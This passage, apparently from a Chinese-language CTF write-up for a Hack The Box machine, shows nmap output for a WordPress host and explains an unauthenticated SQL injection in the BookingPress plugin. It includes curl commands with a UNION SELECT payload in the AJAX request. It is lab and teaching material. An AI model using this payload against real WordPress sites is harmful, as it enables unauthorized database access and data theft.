┌──(root㉿kali)-[/home/kali/Desktop] └─# nmap -p21,22,80 -sC -sV 10.10.11.186 Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-24 03:14 EST Nmap scan report for metapress.htb (10.10.11.186) Host is up (0.35s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (Debian) [::ffff:10.10.11.186] | Invalid command: try being more creative |_ Invalid command: try being more creative 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA) | 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA) |_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519) 80/tcp open http nginx 1.18.0 | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-trane-info: Problem with XML parsing of /evox/about | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: MetaPress – Official company site |_http-generator: WordPress 5.6.2 |_http-server-header: nginx/1.18.0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.92%I=7%D=11/24%Time=637F27F7%P=x86_64-pc-linux-gnu%r(Gen SF:ericLines,8F,"220\x20ProFTPD\x20Server\x20\(Debian\)\x20\[::ffff:10\.10 SF:\.11\.186\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20cr SF:eative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\x20creativ SF:e\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 87.46 seconds
该插件在通过 bookingpress_front_get_category_services AJAX 操作用于动态构造的 SQL 查询之前无法正确清理用户提供的 POST 数据(可用于未经身份验证的用户),导致未经身份验证的 SQL 注入
1
wpnonce:'18edc2ebbc'
然后用payload进行测试
1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
将wpnonce 换成自己的 比如我的
1
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=18edc2ebbc&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'